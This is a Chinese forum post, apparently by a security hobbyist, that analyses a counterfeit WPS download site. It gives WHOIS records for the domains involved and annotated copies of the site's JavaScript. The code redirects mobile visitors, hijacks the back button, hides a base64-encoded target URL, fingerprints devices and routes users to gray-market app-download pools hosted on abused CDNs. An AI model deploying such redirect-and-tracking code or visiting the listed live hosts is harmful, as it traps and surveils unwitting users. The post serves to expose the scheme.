本帖最后由 3306-1 于 2026-7-25 13:50 编辑
建议录屏／调试，确定是否存在本地解析劫持
目前暂无服务器和脚本重定向，静态内也没有
黑加白落地页导航，如果被探测访问调试多次
即使再手机访问，则伪ＷＰＳ会返回无害静态
域 名 wps-offies[.]com[.]cn
注册商 成都垦派科技有限公司
注册人 6JSh6ZSm57uj
邮 箱 ZHhmNDg2QHNpbmEuY29t
注册日 2026-06-30 17:03:52 UTC+8
过期日 2027-06-30 17:03:52 UTC+8
状 态 正常
DNS ns1[.]kenpains[.]com
ns2[.]kenpains[.]com
DNSSEC 未配置
域 名 shbkbtt[.]cn
注册商 邦宁数字技术股份有限公司
注册人 上海暴略信息技术有限公司
注册人 5rGq5a6X6aOe
邮 箱 c3RvbmVhbGVzc2lhNzE4N0BvdXRsb29rLmNvbQ==
许可号 沪ICP备2025141336号
注册日 2025-09-03 20:41:19 UTC+8
过期日 2026-09-03 20:41:19 UTC+8
通过日 2025-09-19
状 态 正常
DNS autumn[.]ns.cloudflare[.]com
jake[.]ns.cloudflare[.]om
DNSSEC 未配置
域 名 863929[.]xyz
注册商 Spaceship, Inc.
注册人
邮 箱
注册日 2026-07-19 17:57:25 UTC+8
过期日 2027-07-20 07:59:59 UTC+8
更新日 2026-07-19 17:57:26 UTC+8
IANA_ID 3862
状 态 注册局禁止转移
DNS ruth[.]ns.cloudflare[.]com
viddy[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 868098[.]xyz
注册商 Spaceship, Inc.
注册人
邮 箱
注册日 2026-07-19 17:57:41 UTC+8
过期日 2027-07-20 07:59:59 UTC+8
更新日 2026-07-19 17:57:59 UTC+8
IANA_ID 3862
状 态 注册局禁止转移
DNS ruth[.]ns.cloudflare[.]com
viddy[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 862764[.]xyz
注册商 Spaceship, Inc.
注册人
邮 箱
注册日 2026-07-19 17:57:33 UTC+8
过期日 2027-07-20 07:59:59 UTC+8
更新日 2026-07-19 17:57:50 UTC+8
IANA_ID 3862
状 态 注册局禁止转移
DNS ruth[.]ns.cloudflare[.]com
viddy[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 trafficmanager[.]net
注册商 MarkMonitor Inc.
注册人 Domain Administrator
注册人 微软（中国）有限公司
注册方 Microsoft Corporation
住 址 One Microsoft Way,
城 市 雷德蒙德（Redmond）
省／州 华盛顿州（WA）
地 区 美国（US）
电 话 +1.NDI1ODgyODA4MA==
邮 箱 ZG9tYWluc0BtaWNyb3NvZnQuY29t
许可号 京ICP备09042378号
注册日 2005-11-25 08:16:41 UTC+8
过期日 2026-11-25 08:16:41 UTC+8
更新日 2025-10-24 19:42:38 UTC+8
通过日 2026-04-03
IANA_ID 292
状 态 客户端禁止删除
客户端禁止转移
客户端禁止更新
注册局禁止删除
注册局禁止转移
注册局禁止更新
DNS tm1[.]dns-tm[.]com
tm1[.]edgedns-tm[.]info
tm2[.]dns-tm[.]com
tm2[.]edgedns-tm[.]info
DNSSEC 未配置
域 名 962197[.]com
注册商 Spaceship, Inc.
注册人
邮 箱
注册日 2025-12-15 01:45:45 UTC+8
过期日 2026-12-15 01:45:45 UTC+8
更新日 2025-12-15 14:54:32 UTC+8
IANA_ID 3862
状 态 客户端禁止转移
DNS ashley[.]ns.cloudflare[.]com
brodie[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 769158[.]com
注册商 Spaceship, Inc.
注册人
邮 箱
注册日 2025-10-30 05:30:23 UTC+8
过期日 2026-10-30 05:30:23 UTC+8
更新日 2025-11-02 14:51:40 UTC+8
IANA_ID 3862
状 态 客户端禁止转移
DNS drake[.]ns.cloudflare[.]com
priscilla[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 453091[.]com
注册商 GoDaddy.com, LLC
注册人
邮 箱
注册日 2026-02-12 03:25:42 UTC+8
过期日 2027-02-12 03:25:42 UTC+8
更新日 2026-02-12 10:53:37 UTC+8
IANA_ID 146
状 态 客户端禁止删除
客户端禁止续费
客户端禁止转移
客户端禁止更新
DNS aarav[.]ns.cloudflare[.]com
ali[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 p4cv2x[.]cyou
注册商 Gname.com Pte. Ltd.
地 区 中国（CN）
注册人
邮 箱
注册日 2026-06-09 03:19:13 UTC+8
过期日 2027-06-09 07:59:59 UTC+8
更新日 2026-06-14 03:22:18 UTC+8
IANA_ID 1923
状 态 注册局禁止转移
客户端禁止转移
DNS a9[.]share-dns[.]com
b9[.]share-dns[.]net
DNSSEC 未配置
域 名 brffff[.]com
注册商 Gname.com Pte. Ltd.
地 区 HK,CN
注册人
邮 箱
注册日 2023-11-08 06:02:21 UTC+8
过期日 2026-11-08 06:02:21 UTC+8
更新日 2025-09-28 21:06:34 UTC+8
IANA_ID 1923
状 态 客户端禁止转移
DNS melany[.]ns.cloudflare[.]com
rory[.]ns.cloudflare[.]com
DNSSEC 未配置
核心解密和模版等（https://hm-static[.]wieuc[.]com）
域 名 wieuc[.]com
注册商 Gname.com Pte. Ltd.
注册人 北京鼎沂酒店管理有限公司
邮 箱
地 区 中国（CN）
许可号 京ICP备2025116433号
注册日 2024-11-12 16:40:55 UTC+8
过期日 2027-11-12 16:40:55 UTC+8
更新日 2026-06-06 23:37:03 UTC+8
通过日 2025-03-24
IANA_ID 1923
状 态 客户端禁止转移
DNS brenda[.]ns.cloudflare[.]com
chase[.]ns.cloudflare[.]com
DNSSEC 未配置
相关流程（内容太长，部分有简化）
手机里访问- https://www.wps-offies.com.cn
- https://ix1nibj84e.shbkbtt.cn/x/link.html?m=95d6b2ccc1a5487
- var _czc = _czc || [];
- (function () {
- var um = document.createElement("script");
- um.src = "https://s4.cnzz.com/z.js?id=1281482050&async=1";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(um, s);
- })();
- const links = [
- "https://www.863929.xyz/?cc=mm32",
- "https://www.868098.xyz/?cc=mm32",
- "https://www.862764.xyz/?cc=mm32",
- ];
- setTimeout(function () {
- const url = links[Math.floor(Math.random() * links.length)];
- location.replace(url);
- }, 500);
- <!--UMENG-->
- <script async src="https://v1.cnzz.com/z.js?id=1281488749&async=1"></script>
- a[title="\007ad9\00957f\007edf\008ba1"] { display: none !important; } ＃CSS Unicode 转义序列，此处为站长统计
- var _czc = _czc || [];
- (function () {
- var um = document.createElement("script");
- um.src = "https://s9.cnzz.com/z.js?id=1281490173&async=1";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(um, s);
- })();
- var _czc = _czc || [];
- (function () {
- var um = document.createElement("script");
- um.src = "https://s9.cnzz.com/z.js?id=1281490172&async=1";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(um, s);
- })();
- var _czc = _czc || [];
- (function () {
- var um = document.createElement("script");
- um.src = "https://s4.cnzz.com/z.js?id=1281490901&async=1";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(um, s);
- })();
- https://z6.cnzz.com/stat.htm?id=*****&r=&lg=zh-cn&ntime=none&cnzz_eid=444163076-1784929646-&showp=393x758&p=https://ix1nibj84e.shbkbtt.cn/m/link.html?m=95d6b2ccc1a5487&t=google&umuuid=19f9618f6308fb-0bda061b712602-976480a-48ba6-*****&h=1
- function getQueryParams() { ＃获取网址传参
- var params = {};
- window.location.search
- .substring(1)
- .split("&")
- .forEach(function (part) {
- var item = part.split("=");
- params[item[0]] = decodeURIComponent(item[1]);
- });
- return params;
- }
- var queryParams = getQueryParams();
- if (queryParams.mj !== "ok") { ＃当传参中？ｍｊ不等于ｏｋ时继续执行，否则跳出
- var browser = {
- versions: (function () { ＃识别请求头，是苹果还是安卓，是微信还是其他
- var u = navigator.userAgent;
- return {
- ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/),
- android: u.indexOf("Android") > -1 || u.indexOf("Adr") > -1,
- weixin: u.indexOf("MicroMessenger") > -1,
- };
- })(),
- };
- history_link_android = [ ＃如果是安卓
- "https://lumikorvex.778758.xyz:8283/?nb=fh&bm=4hukp&ml=sh",
- ];
- history_link_ios = [ ＃如果是苹果
- "https://lumikorvex.778758.xyz:8283/?nb=fh&bm=4hukp&ml=sh",
- ];
- var jump_percent = 100; ＃定义跳转概率
- var time_percent = []; ＃时间概率定义
- //time_percent['00:01']=100; ＃深夜十二点
- //time_percent['02:01']=100; ＃凌晨两点钟
- //time_percent['08:01']=100; ＃早上八点钟
- //time_percent['20:01']=100; ＃晚上八点钟
- var history_link = browser.versions.ios
- ? history_link_ios
- : history_link_android;
- var currentDate = new Date(),
- currentTime = Math.round(currentDate.getTime() / 1000),
- max_tp = 0,
- max_index;
- Date.prototype.format = function (fmt) {
- var o = {
- "M+": this.getMonth() + 1,
- "d+": this.getDate(),
- "h+": this.getHours(),
- "m+": this.getMinutes(),
- "s+": this.getSeconds(),
- "q+": Math.floor((this.getMonth() + 3) / 3),
- S: this.getMilliseconds(),
- };
- if (/(y+)/.test(fmt))
- fmt = fmt.replace(
- RegExp.$1,
- (this.getFullYear() + "").substr(4 - RegExp.$1.length),
- );
- for (var k in o)
- if (new RegExp("(" + k + ")").test(fmt))
- fmt = fmt.replace(
- RegExp.$1,
- RegExp.$1.length == 1
- ? o[k]
- : ("00" + o[k]).substr(("" + o[k]).length),
- );
- return fmt;
- };
- for (var index in time_percent) {
- var tp =
- new Date(currentDate.format("yyyy/MM/dd ") + index + ":00").getTime() /
- 1000;
- tp > max_tp && ((max_tp = tp), (max_index = index));
- jump_percent =
- currentTime >= max_tp && time_percent[max_index]
- ? time_percent[max_index]
- : jump_percent;
- }
- var jump_mobile = /Android|webOS|iPhone|iPod|BlackBerry/i.test( ＃判断设备类型，竟然还有黑莓？
- navigator.userAgent,
- );
- var jump_random = Math.ceil(Math.random() * 100); ＃概率抽卡
- var jump_check =
- jump_mobile && history_link.length && jump_random <= jump_percent; ＃最终判断，非ｍｊｏｋ且移动设备跳转＋随机概率抽卡，
- var hs = "#";
- function historyPushState() { ＃防止通过浏览器后退功能返回，基础
- jump_check &&
- history.pushState(
- history.length + 1,
- "message",
- window.location.href.split(hs)[0] + hs + new Date().getTime(),
- );
- }
- function historyJump() {
- setTimeout(function () {
- jump_check &&
- window.location.replace(
- history_link[Math.floor(Math.random() * history_link.length)],
- );
- }, 500);
- }
- window.onhashchange = function () {
- historyJump();
- };
- setTimeout(function () {
- historyPushState();
- }, 200);
- // Only run this part if mj !== "ok"x ＃是ｍｊｏｋ吗？否就继续
- (function () {
- try {
- window.history.pushState(null, ""); ＃防止通过浏览器后退功能返回，保险
- window.addEventListener(
- "popstate",
- function () {
- window.location.href = atob(
- "aHR0cHM6Ly9sdW1pa29ydmV4Ljc3ODc1OC54eXo6ODI4My8/bmI9ZmgmYm09NGh1a3AmbWw9c2g=", ＃ｂａｓｅ６４编码，https://lumikorvex.778758.xyz:8283/?nb=fh&bm=4hukp&ml=sh
- );
- },
- false,
- );
- } catch (err) {}
- })();
- }
- https://www.862084.xyz/czz?e=pv&vid=uuid&sid=uuid&cc=mm33&p=/&t=1784929647272
- (function (w, d) {
- if (w.__t) return;
- var ENDPOINT = "/czz";
- var STORAGE_VID = "__t_vid";
- var STORAGE_SID = "__t_sid";
- var MAX_URL = 1024;
- var lastPVPath = null;
- function uuid() { ＃生成设备指纹
- if (w.crypto && w.crypto.getRandomValues) {
- var a = w.crypto.getRandomValues(new Uint8Array(16));
- a[6] = (a[6] & 0x0f) | 0x40;
- a[8] = (a[8] & 0x3f) | 0x80;
- var h = [];
- for (var i = 0; i < 16; i++) {
- var s = a[i].toString(16);
- h.push(s.length === 1 ? "0" + s : s);
- }
- return (
- h.slice(0, 4).join("") +
- "-" +
- h.slice(4, 6).join("") +
- "-" +
- h.slice(6, 8).join("") +
- "-" +
- h.slice(8, 10).join("") +
- "-" +
- h.slice(10).join("")
- );
- }
- return "x" + Math.random().toString(36).slice(2) + Date.now().toString(36);
- }
- function readCookie(name) {
- var m = (d.cookie || "").match(
- new RegExp("(?:^|;\s*)" + name + "=([^;]*)"),
- );
- return m ? decodeURIComponent(m[1]) : "";
- }
- function getStorage(k) {
- try {
- return w.localStorage.getItem(k) || "";
- } catch (e) {
- return "";
- }
- }
- function setStorage(k, v) { ＃生成会话指纹
- try {
- w.localStorage.setItem(k, v);
- } catch (e) {}
- }
- function getSession(k) {
- try {
- return w.sessionStorage.getItem(k) || "";
- } catch (e) {
- return "";
- }
- }
- function setSession(k, v) {
- try {
- w.sessionStorage.setItem(k, v);
- } catch (e) {}
- }
- var vid = readCookie("vid") || getStorage(STORAGE_VID);
- if (!vid) {
- vid = uuid();
- setStorage(STORAGE_VID, vid);
- }
- var sid = getSession(STORAGE_SID);
- if (!sid) {
- sid = uuid();
- setSession(STORAGE_SID, sid);
- }
- var cc = "";
- try {
- var sp = new URLSearchParams(w.location.search);
- cc = sp.get("cc") || "";
- } catch (e) {}
- function enc(s) {
- return encodeURIComponent(s == null ? "" : String(s));
- }
- function send(params, always) {
- params.vid = vid;
- params.sid = sid;
- if (cc) params.cc = cc;
- params.p = w.location.pathname;
- params.t = Date.now();
- var keep = always || [];
- var qs = [];
- for (var k in params) {
- if (keep.indexOf(k) >= 0 || (params[k] !== "" && params[k] != null)) {
- qs.push(k + "=" + enc(params[k]));
- }
- }
- var url = ENDPOINT + "?" + qs.join("&"); ＃数据上报逻辑
- if (url.length > MAX_URL) url = url.slice(0, MAX_URL);
- try {
- new Image().src = url;
- return;
- } catch (e) {}
- try {
- navigator.sendBeacon && navigator.sendBeacon(url); ＃提交失败时降级
- } catch (e) {}
- }
- function pv() {
- var path = w.location.pathname + w.location.search;
- if (path === lastPVPath) return;
- lastPVPath = path;
- send({
- e: "pv",
- });
- }
- function track(event_key, value) {
- if (!event_key) return;
- send({
- e: "btn",
- k: String(event_key).slice(0, 64),
- v: value == null ? "" : String(value).slice(0, 256),
- });
- }
- function click(o) {
- o = o || {};
- send(
- {
- e: "click",
- ad: o.ad == null ? "" : o.ad,
- an: o.an == null ? "" : o.an,
- pos: o.pos == null ? "" : o.pos,
- rm: o.rm == null ? "" : o.rm,
- },
- ["ad", "an", "pos", "rm"],
- );
- }
- function wrapHistory(name) {
- var orig = w.history[name];
- if (typeof orig !== "function") return;
- w.history[name] = function () {
- var ret = orig.apply(this, arguments);
- setTimeout(pv, 0);
- return ret;
- };
- }
- wrapHistory("pushState");
- wrapHistory("replaceState");
- w.addEventListener("popstate", function () {
- setTimeout(pv, 0);
- });
- w.__t = {
- vid: vid, ＃当前设备指纹
- sid: sid,
- cc: cc, ＃传参里的ｃｃ渠道追踪码
- track: track,
- click: click, ＃点击了什么
- pv: pv, ＃浏览了什么内容
- };
- if (d.readyState === "complete" || d.readyState === "interactive") {
- setTimeout(pv, 0);
- } else {
- d.addEventListener("DOMContentLoaded", function () {
- setTimeout(pv, 0);
- });
- }
- })(window, document);
- <!-- app-version: 1.0.36-06dd3ee -->
- <script>
- window.__APP_VERSION__ = "1.0.36-06dd3ee";
- </script>
- 顺丰
- https://wbep-image.sf-express.com/cx/d/cfd637c6263f45a2a722621b40c48be7.gif
- https://wbep-image.sf-express.com/cx/3/4c67db6bd3f649bc8b5a01211a42af2d.gif
- https://wbep-image.sf-express.com/cx/a/dcd91c6cea6c44d9b04d0d7044fbdc4a.gif
- .....
- 北京金影科技有限公司
- http://p2.duyao001.com/image/user/23dbb11bd65352637fd33e03f9d201b1_150x150.gif
- 途家在线信息技术（天津）有限公司
- https://pic.tujia.com/upload/tim/day_2604/202604142211536213.gif
- https://pic.tujia.com/upload/tim/day_2604/202604142211564419.gif
- .....
- 高等教育出版社有限公司
- https://file.icve.com.cn/file_doc/327/790/51DC5846E25B63B8551EE7A69F81CAAC.gif
- https://file.icve.com.cn/file_doc/719/454/B3D71B452954D84D8EC92A1A95082B55.gif
- .....
- 中文域名，无备，非大厂？
- https://11397.赛格gps.公司/d/11397
- https://11408.赛格gps.公司/d/11408
- .....
- 上海肖氪科技有限公司
- https://shu1.mczsok.com/kq/100.gif
- 北京百度网讯科技有限公司
- https://bjh-pixel.cdn.bcebos.com/user_personal_pixel/61cf70697d7ae9bb2fa8c7637fcb5f83.jpg
- https://bjh-pixel.cdn.bcebos.com/user_personal_pixel/7a7bfb04694abc94bc8ed94d7be2b9b2.jpg
- .....
- 北京三快科技有限公司（美团）
- http://p0.meituan.net/secretphoto/d1fe72af5b1279a3021b480bfb554f9c47895.png
- http://p0.meituan.net/secretphoto/4274e415e38aea39163f658e32d5bf8d220942.webp
- http://p1.meituan.net/secretphoto/bfb501ddfe6fdc540759054f439f231e50105.gif
- .....
- 浙江雀牛网络科技有限公司（阿里）
- https://img.alicdn.com/imgextra/i4/O1CN01M4Mfqq1rGgfgrZNNa_!!2216598935604-1-fleamarket.gif
- https://img.alicdn.com/imgextra/i3/O1CN012gg07Q1mH4xTCV1wa_!!2221328234928-1-fleamarket.gif
- .....
- 上海携程商务有限公司
- https://dimg04.c-ctrip.com/images/1mu3p12000s2vb7052DC2.gif
- https://dimg04.c-ctrip.com/images/1mu3f12000s0jm01c4B73.gif
- .....
- 小船出海教育科技（北京）有限公司
- https://img.zuoyebang.cc/zyb_35d8960b6179b92754d45dfe3e44e35d.jpg
- https://img.zuoyebang.cc/zyb_639982e044bcea240ea76d3a65fc6843.jpg
- .....
- 北京倩辰科技有限公司
- https://xy724-1.anvnjmc.com/kg/2-100.gif
- 上海锆石庆信息科技有限公司
- https://hcz888.umoinvest.com/gif/hc-100x100-v2.gif
- 上海简衔贸易有限公司
- https://shu2.vsamhos.com/bl/100-2.gif
- https://lucky.vsamhos.com/jinying/a100.gif
- .....
- 北京健杰阳科技有限公司
- https://xfxs.8rs8i.com/jc/by/100.gif
- 上海反东反企业管理有限公司
- https://lh888tu.meiyajudec.com/gif/lh-150x150-v4_5.gif
- 上海穗奇科技有限公司
- https://swtu4455.x2i08.com/gif/ygzb-150x150-v6.gif
- https://swtu4455.x2i08.com/gif/hy-150x150-v7.gif
- .....
- 北京梅祥科技有限公司
- https://wusf.cszpra.com/9511/v150x150.gif
- https://huohua-2.cszpra.com/ms62/tb3/100x100.gif
- .....
- 上海穗奇科技有限公司
- https://estu2233.senshutou.com/gif/qt-150x150-5.gif
- 文安县银铭建材有限公司
- https://ff.56tvc.com/bs/150-150.gif
- 由赛格ＧＰＳ中文域名跳转而来
- https://fsffbawehd.brffff.com/6abb9a633a89a173818e3282b8d3623a.gif
- "u": ["
- https://auiwb49t.com,
- https://qnffg3286.com,
- https://qnffg3286.com,
- https://qnffg3286.com,
- https://725cpb01.5bcpd.com,
- https://bluj035.top:6688,
- https://wdss020.top:3338,
- .....
- ]
- "ads": {
- "1": ＃总计有１２大类
- [[896, 0, 0, "\u6a2a\u5e45\u7ea6\u70ae1", "", 1], ＃万国码
- [542, 1, 1, "\u6a2a\u5e45BC1", "", 2],
- [438, 2, 1, "\u6a2a\u5e45BC2", "", 3],
- [421, 3, 1, "\u6a2a\u5e45BC3", "", 4],
- [418, 4, 1, "\u6a2a\u5e45BC4", "", 5],
- [184, 5, 0, "\u6a2a\u5e45\u7ea6\u70ae2", "", 6]],
- }
- 综合上方的脚本内容与参数等，开始动态渲染／相关统计／黑产矩阵跳转内容
- function() {
- "use strict";
- var n = "/api",
- a = "https://asdr.p4cv2x.cyou?channelCode=gxfc095",
- t = 3500,
- e = null;
- var r = {
- jgg: "ax a0 ai",
- lfg: "ad-item-wrap bg y",
- zone1: "ax",
- gril: "ax ah"
- }
- function d(n, a) { ＃动态渲染
- var t = s(a || []),
- e = o[n.title],
- c = n.more ? '<a class="a2" data-g="' + n.more[0] + '">' + n.more[1] + "</a>" : "",
- l = '<div class="ao mb12"><div class="t"><div class="aj"><i class="ic ' + e[0] + ' as"></i><span class="s">' + e[1] + '</span><span class="i">' + e[2] + "</span></div>" + c + '</div><div class="' + r[n.kind] + '">';
- return (l += t.map(function(a) {
- return a.__kind = n.kind,
- function(n) {
- .....
- }(a)
- }).join("")) + "</div></div>"
- }
- function() {
- var n = document.getElementById("topDownBtn"),
- t = s(f[11] || [])[0];
- t ? (n.href = pk(t.a) || a, ＃ａ自定义属性
- (t.a || "").indexOf(",") > -1 && n.setAttribute("data-u", t.a),
- n.setAttribute("data-p", t.i), ＃位置
- n.setAttribute("data-n", t.n || "\u4e0b\u8f7dAPP"), ＃名称
- n.setAttribute("data-r", t.r || "")) : n.href = a ＃黑产池
- }(),
- <a class="au" id="topDownBtn" data-p="888" data-n="看片视频" data-po="11" target="_blank" href="https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=42&ml=app" data-u="https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=41&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=43&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=44&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=73&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=89&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=62&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=67&ml=app.https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=2x&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=03&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=07&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=42&ml=app,https://awiuehfiuahsifuhairugoiadjor.419869.xyz:8283/?nb=gg-tubiao&bm=96&ml=app" data-r="">下载APP</a>
- um.src = "https://s9.cnzz.com/z.js?id=1281472620&async=1";
- um.src = "https://v1.cnzz.com/z.js?id=1281467405&async=1";
- um.src = "https://s4.cnzz.com/z.js?id=1281467368&async=1";
- um.src = "https://s9.cnzz.com/z.js?id=1281467365&async=1";
- script async data-domain="frontend" event-site="16" event-channel="4164-gg-tubiao-42" data-api="https://hm-tjj.wieuc.com/api/event" src="/script.pageview-props.js"></script>
- 需通过下方脚本进行解密
- <script>
- window.CONFIG = 'gAAAAAB.....';
- </script>
- <script>
- window.CDN_URL = "//hm-static.wieuc.com"
- </script>
- <script src="____.js"></script>
- //hm-static.wieuc.com/lib/fernet.browser.min.js
- //hm-static.wieuc.com/lib/react.min.js
- //hm-static.wieuc.com/lib/react-dom.min.js
- //hm-static.wieuc.com/lib/axios.browser.min.js
- //hm-static.wieuc.com/static/js/vendor.rc-util.59998840.js
- //hm-static.wieuc.com/static/js/vendor.emotion.881e5c10.js
- //hm-static.wieuc.com/static/js/vendor.floating-ui~16b6190b.b88886c7.js
- //hm-static.wieuc.com/static/js/vendor.floating-ui~77ff0bac.bb4f0b50.js
- //hm-static.wieuc.com/static/js/vendor.lodash.d56c4743.js
- //hm-static.wieuc.com/static/js/vendor.antd-mobile.b02c4fae.js
- //hm-static.wieuc.com/static/js/vendor.lodash-es.29b8441e.js
- //hm-static.wieuc.com/static/js/vendor.yup.3910f6f1.js
- //hm-static.wieuc.com/static/js/vendor.react-spring.a27cfdfd.js
- //hm-static.wieuc.com/static/js/vendor.formik.4f5681c3.js
- //hm-static.wieuc.com/static/js/vendor.use-gesture.5975c621.js
- //hm-static.wieuc.com/static/js/vendor.reduxjs.84dfdb5b.js
- //hm-static.wieuc.com/static/js/vendor.pako.1c9dc19c.js
- //hm-static.wieuc.com/static/js/vendor.modern-screenshot.afffabe6.js
- //hm-static.wieuc.com/static/js/vendor.react-router.8beada1d.js
- //hm-static.wieuc.com/static/js/vendor.react-router-dom.10d1c3da.js
- //hm-static.wieuc.com/static/js/vendor.jsqr.42981665.js
- //hm-static.wieuc.com/static/js/vendor.remix-run.5024fa73.js
- //hm-static.wieuc.com/static/js/717.d7bd8d85.js
- //hm-static.wieuc.com/static/js/7859.367ba70f.js
- //hm-static.wieuc.com/static/js/1940.083f40f5.js
- //hm-static.wieuc.com/static/js/8439.541a4ee8.js
- //hm-static.wieuc.com/static/js/main~aec23333.3afdb061.js
- //hm-static.wieuc.com/static/js/main~52f0199e.c6697384.js
- //hm-static.wieuc.com/static/js/main~afbe97b7.523a90ae.js
- //hm-static.wieuc.com/static/js/main~7c36387c.faa0e32b.js
- <link href="____.css" rel="stylesheet">
- //hm-static.wieuc.com/static/css/vendor.unknown.02c8c26b.css
- //hm-static.wieuc.com/static/css/vendor.unknown.02c8c26ba8e44dfe874f.css
- //hm-static.wieuc.com/static/css/main~f16aa68b.943bd9bc.css
- //hm-static.wieuc.com/static/css/main~f16aa68b.943bd9bc058f38cd5603.css
被恶意利用或存在漏洞
域 名 sf-express[.]com
注册商 Beijing Brandma International Networking Technology Ltd.
注册人 顺丰速运有限公司
邮 箱
许可号 粤ICP备08034243号
注册日 2000-05-15 17:11:55 UTC+8
过期日 2033-05-15 17:11:55 UTC+8
更新日 2023-07-19 14:44:06 UTC+8
通过日 2025-04-22
IANA_ID 2910
状 态 客户端禁止删除
客户端禁止转移
客户端禁止更新
注册局禁止删除
注册局禁止转移
注册局禁止更新
DNS ns3[.]dnsv5[.]com
ns4[.]dnsv5[.]com
DNSSEC 未配置
域 名 duyao001[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 北京金影科技有限公司
邮 箱
省／州 北京（bei jing）
地 区 中国（CN）
许可号 京ICP备14052851号
注册日 2014-09-22 22:49:01 UTC+8
过期日 2026-09-22 22:49:01 UTC+8
更新日 2025-09-08 09:53:11 UTC+8
通过日 2018-12-26
IANA_ID 420
状 态 客户端禁止转移
DNS dns7[.]hichina[.]com
dns8[.]hichina[.]com
DNSSEC 未配置
域 名 tujia[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 途家在线信息技术（天津）有限公司
邮 箱
省／州 北京（bei jing）
地 区 中国（CN）
许可号 津ICP备17006480号
注册日 2002-10-13 19:03:24 UTC+8
过期日 2030-10-13 19:03:24 UTC+8
更新日 2025-09-13 11:11:10 UTC+8
通过日 2020-06-05
IANA_ID 420
状 态 客户端禁止转移
DNS vip3[.]alidns[.]com
vip4[.]alidns[.]com
DNSSEC 未配置
域 名 赛格gps.公司
编 码 xn--gps-8y0gm25n.xn--55qx5d
注册商 杭州爱名网络有限公司
注册人 深圳市赛格导航科技股份有限公司？
邮 箱
注册日 2025-04-18 18:13:30 UTC+8
过期日 2027-04-18 18:13:30 UTC+8
更新日 2026-07-17 15:32:48 UTC+8
IANA_ID 1465
状 态 正常
DNS rory[.]ns.cloudflare[.]com
melany[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 mczsok[.]com
注册商 Gname.com Pte. Ltd.
地 区 中国（CN）
注册人 上海肖氪科技有限公司
邮 箱
许可号 沪ICP备2024094978号
注册日 2024-07-03 16:03:06 UTC+8
过期日 2028-07-03 16:03:06 UTC+8
更新日 2026-04-24 15:48:59 UTC+8
通过日 2024-09-20
IANA_ID 1923
状 态 客户端禁止转移
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
域 名 bcebos[.]com
注册商 Key-Systems GmbH
注册人 北京百度网讯科技有限公司
邮 箱 aW5mb0Bkb21haW4tY29udGFjdC5vcmc=
省／州 北京（Beijing）
地 区 中国（CN）
许可号 京ICP证030173号
注册日 2014-08-28 18:47:20 UTC+8
过期日 2026-08-28 18:47:20 UTC+8
更新日 2025-11-29 14:26:12 UTC+8
通过日 2016-12-26
IANA_ID 269
状 态 客户端禁止转移
DNS ns1[.]baidubce[.]com
ns2[.]baidubce[.]com
DNSSEC 未配置
域 名 meituan[.]net
注册商 MarkMonitor Information Technology (Shanghai) Co., Ltd.
注册人 北京三快科技有限公司
邮 箱
地 区 中国（CN）
许可号 京ICP备10211739号
注册日 2010-01-25 12:56:22 UTC+8
过期日 2028-01-25 12:56:22 UTC+8
更新日 2026-04-21 11:53:47 UTC+8
通过日 2019-04-29
IANA_ID 3838
状 态 客户端禁止删除
客户端禁止转移
客户端禁止更新
注册局禁止删除
注册局禁止转移
注册局禁止更新
DNS edns1[.]sankuai[.]com
edns2[.]sankuai[.]com
ns3[.]dnsv5[.]com
ns4[.]dnsv5[.]com
DNSSEC 未配置
域 名 alicdn[.]com
注册商 Alibaba Cloud Computing (Beijing) Co., Ltd.
注册人 浙江雀牛网络科技有限公司
邮 箱
省／州 浙江（zhe jiang）
地 区 中国（CN）
许可号 浙B2-20130133
注册日 2008-06-25 17:24:11 UTC+8
过期日 2030-06-25 17:24:11 UTC+8
更新日 2025-12-06 00:40:41 UTC+8
通过日 2021-03-09
IANA_ID 420
状 态 客户端禁止转移
注册局禁止删除
注册局禁止转移
注册局禁止更新
DNS ns1[.]alibabadns[.]com
ns2[.]alibabadns[.]com
DNSSEC 未配置
域 名 c-ctrip[.]com
注册商 MarkMonitor Information Technology (Shanghai) Co., Ltd.
注册人 上海携程商务有限公司
邮 箱
地 区 中国（CN）
许可号 沪ICP备08023580号
注册日 2004-08-09 18:10:04 UTC+8
过期日 2029-08-09 18:10:04 UTC+8
更新日 2026-06-23 13:23:25 UTC+8
通过日 2025-12-04
IANA_ID 3838
状 态 客户端禁止删除
客户端禁止转移
客户端禁止更新
DNS ns1[.]ctrip[.]com
ns2[.]ctrip[.]com
ns3[.]ctrip[.]com
ns5[.]ctrip[.]com
ns6[.]ctrip[.]com
